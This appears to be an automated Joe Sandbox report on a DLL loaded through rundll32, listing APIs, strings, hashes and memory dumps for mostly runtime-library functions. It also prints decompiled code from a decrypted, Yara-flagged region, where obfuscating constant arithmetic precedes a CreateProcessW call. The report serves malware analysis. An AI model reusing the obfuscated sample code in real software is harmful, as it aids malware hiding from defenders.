Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D00B
TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D023
TlsGetValue.KERNEL32(00000000), ref: 6E55D043
TlsGetValue.KERNEL32(00000000), ref: 6E55D063
GetProcessHeap.KERNEL32 ref: 6E55D076
HeapAlloc.KERNEL32(02CB0000,00000000,0000000C), ref: 6E55D089
TlsSetValue.KERNEL32(00000000,00000000,02CB0000,00000000,0000000C), ref: 6E55D0B6

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: da6908175b48ea369eb15d08efcf27c597c72ed91f246238fe34b80accdf2fab
Instruction ID: 38139dbd543f000dd1504afa1225b5fdd2dfcb18060e4a69d2e77d73d10cce5b
Opcode Fuzzy Hash: da6908175b48ea369eb15d08efcf27c597c72ed91f246238fe34b80accdf2fab
Instruction Fuzzy Hash: 72112EB2600711CBEF506BF5C854B6B37D8AB82659F024C26DA05DB360FB35D8928F66

Uniqueness

Uniqueness Score: -1.00%

Function 6E573571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6E57358D

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: f9c81c2bbd4eab2726ab3f31d7cdbd1bc0166c3f1746fabfac24a17ba55e6090
Instruction ID: be8c7f4e4839bad034944977cea80a05b92434a04cbb7056439ccb8d8b1c51cb
Opcode Fuzzy Hash: f9c81c2bbd4eab2726ab3f31d7cdbd1bc0166c3f1746fabfac24a17ba55e6090
Instruction Fuzzy Hash: 5A218E71618205AFDF209FE6C85889A77FDEF81378B018928E9148B250DB30EC2087A0

Uniqueness

Uniqueness Score: -1.00%

Function 6E570422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E5704E3,00000000,?,00000001,00000000,?,6E57055A,00000001,FlsFree,6E5A6184,FlsFree,00000000), ref: 6E5704B2

Strings

api-ms-, xrefs: 6E570472

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: cda5a36cafcf62dd4a7f7b068e66ad769eaea602333e8f5f7ba645cc73a8c7bd
Instruction ID: a07d698a4ffe6d0ab5116ade26e434cd9bd858be9c08835c804080fd78f9049f
Opcode Fuzzy Hash: cda5a36cafcf62dd4a7f7b068e66ad769eaea602333e8f5f7ba645cc73a8c7bd
Instruction Fuzzy Hash: 45112936A54631ABDF729AAC8C04B5D37E5AF02770F114522FD10EB280FB71EDA086D4

Uniqueness

Uniqueness Score: -1.00%

Function 6E5712ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B09E25DE,00000000,?,00000000,6E579B33,000000FF,?,6E57127D,?,?,6E571251,?), ref: 6E571322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E571334
FreeLibrary.KERNEL32(00000000,?,00000000,6E579B33,000000FF,?,6E57127D,?,?,6E571251,?), ref: 6E571356

Strings

CorExitProcess, xrefs: 6E57132C
mscoree.dll, xrefs: 6E57131B

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eb1bc974b00d42f39b8f9337faac4365fddc3c4ed2413b89bf9b61c10e12efb3
Instruction ID: 50544ac637185fc99e33bfb23ece9dd719467c36208bcd2c7ff593482a4298e2
Opcode Fuzzy Hash: eb1bc974b00d42f39b8f9337faac4365fddc3c4ed2413b89bf9b61c10e12efb3
Instruction Fuzzy Hash: C301A232914969EFDF119B94CC14FBEBBF8FB04711F014529EC21A2681DF74D914CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E55C265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6E55C275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6E55C26F
kernel32, xrefs: 6E55C260

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: 90f8c020137bd4dc56c0c58e29b64684d7008cd7d240ec2927b72b52dd2a4872
Instruction ID: 740a153cde23d792deb3f37bb56ee1b3457d3a483236f5f6d1f94bacb7b13b14
Opcode Fuzzy Hash: 90f8c020137bd4dc56c0c58e29b64684d7008cd7d240ec2927b72b52dd2a4872
Instruction Fuzzy Hash: 2DB092B062051166EE606EF58A5CA6E39D8BA823453020C42A255DA203EE24C060A921

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6E55C2D5

Strings

ntdll, xrefs: 6E55C2C0
NtWaitForKeyedEvent, xrefs: 6E55C2CF

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: f89129e86e88415040ddaf218e190c78c0eab76c2f00a088121cee4d6b9468d6
Instruction ID: a971ea70027bb4a67c72daaea510d45811a8630380e1d795a0e35a1a55b08361
Opcode Fuzzy Hash: f89129e86e88415040ddaf218e190c78c0eab76c2f00a088121cee4d6b9468d6
Instruction Fuzzy Hash: 1AB092B0A206116BEE906AF98A0CA7E3AA8AA812413420C42A25AD9203EE34C0209961

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6E55C2F5

Strings

NtReleaseKeyedEvent, xrefs: 6E55C2EF
ntdll, xrefs: 6E55C2E0

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 4108b9d6bde468412fe8f7147d3981529834df9649d81c84ba83bd6170188be5
Instruction ID: 7684fa467e0b59184e9dea263839c8ac477f2de8bcea2ca6ec54c8af043dbff6
Opcode Fuzzy Hash: 4108b9d6bde468412fe8f7147d3981529834df9649d81c84ba83bd6170188be5
Instruction Fuzzy Hash: A1B092B0A3051266DE606EF58A0CA7E3998AA812013020C42A266E9203FE34C0209921

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E55C285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6E55C295

Strings

kernel32, xrefs: 6E55C280
SetThreadDescription, xrefs: 6E55C28F

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: f533df8417bb1e821dd5fe8baf51170e41e982a9092694b9eb6ed2d108057428
Instruction ID: 50f982312ea632449b410655939178f6eb1c448da33149f092c2f37761e0df61
Opcode Fuzzy Hash: f533df8417bb1e821dd5fe8baf51170e41e982a9092694b9eb6ed2d108057428
Instruction Fuzzy Hash: 54B09B7056051157DD505EF5890C55D359466C13453010C416155DB103EE14C050A571

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6E55C315

Strings

NtCreateKeyedEvent, xrefs: 6E55C30F
ntdll, xrefs: 6E55C300

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: d6b4f045f379f543da06f052d74f552ae2f2a6ba053772dccc31fe6c63e16ccf
Instruction ID: c2eb2218987ae6795974702eb1f042fe8eb080fc5903f9ff243613b12d82c669
Opcode Fuzzy Hash: d6b4f045f379f543da06f052d74f552ae2f2a6ba053772dccc31fe6c63e16ccf
Instruction Fuzzy Hash: 9FB092B0A205116ADE50AAF58A0CA7E3998AA413827424842A222D9213EE34C4209921

Uniqueness

Uniqueness Score: -1.00%

Function 6E576749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B09E25DE,?,00000000,?), ref: 6E5767AC

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E576A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E576A4F
GetLastError.KERNEL32 ref: 6E576AF2

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 18873abc18ad9067202c961cd38f7f856c946c53df6e6038a29170caeffe7a07
Instruction ID: f48b99e9aef8b87f9d793ef8b5c1dbdebfbfd0d10f9cf6c0a356bd8ac820b95d
Opcode Fuzzy Hash: 18873abc18ad9067202c961cd38f7f856c946c53df6e6038a29170caeffe7a07
Instruction Fuzzy Hash: B6D156B5D10259DFCF11CFE8C8909EDBBF4EF49314F18852AE956AB241D770A852CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E562470, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6E562601
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6E562653
GetLastError.KERNEL32(?,?,?), ref: 6E56265D
GetLastError.KERNEL32(?,?,?), ref: 6E5626C5

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: f67c18e7789a3b9e3a0872a5cf5b4d095d38421b54e2b042d334c96eaf8ba655
Instruction ID: 98e34fdb2455901a1cf49cfa137bb1f9437142f36c81050c6b9be59054262c36
Opcode Fuzzy Hash: f67c18e7789a3b9e3a0872a5cf5b4d095d38421b54e2b042d334c96eaf8ba655
Instruction Fuzzy Hash: 65618879A083158BE724CE99CC6077A77E2EBD5308F04CD39E4958B3E5FA75C8418792

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E56F566
___AdjustPointer.LIBCMT ref: 6E56F589
___AdjustPointer.LIBCMT ref: 6E56F625

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 47bb3da895fe72b4e941e3054011c9732f4e1c5b337514351fe7aca6ef706b87
Instruction ID: 42cf4727c3cff669a074459449a280c7db2a8cbacbeaae0a753e5b3f517a06ab
Opcode Fuzzy Hash: 47bb3da895fe72b4e941e3054011c9732f4e1c5b337514351fe7aca6ef706b87
Instruction Fuzzy Hash: 5551AF72A05606AFEB158F95D850BBA73E5FF55318F30492DEA15472B0EB31EC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E572D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

GetLastError.KERNEL32 ref: 6E572DEB
__dosmaperr.LIBCMT ref: 6E572DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6E572E2C
__dosmaperr.LIBCMT ref: 6E572E33

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: cafa9aa5f87dd9799066a11eeef63f13baee0a33148a94dd9f705e140a8fb725
Instruction ID: 6ec35b761f10033276e0a1a482cba88f722ef4aaebef5f03bf4e01a1ae537ec8
Opcode Fuzzy Hash: cafa9aa5f87dd9799066a11eeef63f13baee0a33148a94dd9f705e140a8fb725
Instruction Fuzzy Hash: C021B3B5604215AF9F71DFE688948ABB7FDEF413A47008919FD1897150D730EC7187A0

Uniqueness

Uniqueness Score: -1.00%

Function 6E577EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000), ref: 6E577EBD
GetLastError.KERNEL32(?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?,?,?,6E5770CD,?), ref: 6E577EC9

Part of subcall function 6E577E8F: CloseHandle.KERNEL32(FFFFFFFE,6E577ED9,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?,?), ref: 6E577E9F

___initconout.LIBCMT ref: 6E577ED9

Part of subcall function 6E577E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E577E80,6E577844,?,?,6E576B46,?,?,00000000,?), ref: 6E577E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?), ref: 6E577EEE

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: edf708b46c010846836e1da01831d86a4fb9eb4558e62768c92f387fd3927e87
Instruction ID: 5c9974bb74255988550d91d445de55eb8ec6135a4418c20c08b01719e7713136
Opcode Fuzzy Hash: edf708b46c010846836e1da01831d86a4fb9eb4558e62768c92f387fd3927e87
Instruction Fuzzy Hash: 36F0AC36500528FBCF621FE5DC04A9E7F66FB4A7A6B058810FE1895560CB32CC70DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56FAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6E56FAC5

Strings

MOC, xrefs: 6E56FAD7
RCC, xrefs: 6E56FADF

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 457fbd1cb3fa62e6a8ccb85dafdcd483fbc76f4259155f5a17bac058bcaa9757
Instruction ID: f2e0a3fc041c469089362a489158c1f45163c488ba7ac497bd8b095d1bcad9a9
Opcode Fuzzy Hash: 457fbd1cb3fa62e6a8ccb85dafdcd483fbc76f4259155f5a17bac058bcaa9757
Instruction Fuzzy Hash: 42412472D0020AAFDF06CF94C990AEE7BBABF48304F248499EA15A6270D7359951DB61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6896 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1036
Total number of Limit Nodes:	5

Executed Functions

Function 02CD9100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E02CD9100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E02CC8002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E02CDE399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x02cd910a
0x02cd910c
0x02cd910d
0x02cd910e
0x02cd9111
0x02cd9114
0x02cd9117
0x02cd911a
0x02cd911d
0x02cd9120
0x02cd9123
0x02cd9126
0x02cd9127
0x02cd912a
0x02cd912d
0x02cd9130
0x02cd9133
0x02cd9134
0x02cd9137
0x02cd9138
0x02cd9139
0x02cd913a
0x02cd913f
0x02cd9149
0x02cd914c
0x02cd9153
0x02cd915a
0x02cd9161
0x02cd9168
0x02cd916f
0x02cd9176
0x02cd918e
0x02cd9191
0x02cd9198
0x02cd919f
0x02cd91a6
0x02cd91ad
0x02cd91b4
0x02cd91bb
0x02cd91c2
0x02cd91d5
0x02cd91ef
0x02cd91f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02CD91EF

Strings

31, xrefs: 02CD919F

Memory Dump Source

Source File: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, Offset: 02CC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cc0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 7e4b7310a8e22626dc6452094f7aaee5f11bf138e6d3b9fd13ec099a575ab5a6
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 5C31C272801259BBCF559FA6CD45CDFBFB5FB89714F108158FA1462120C3728A60EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02CD0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E02CD0207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02CC8002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
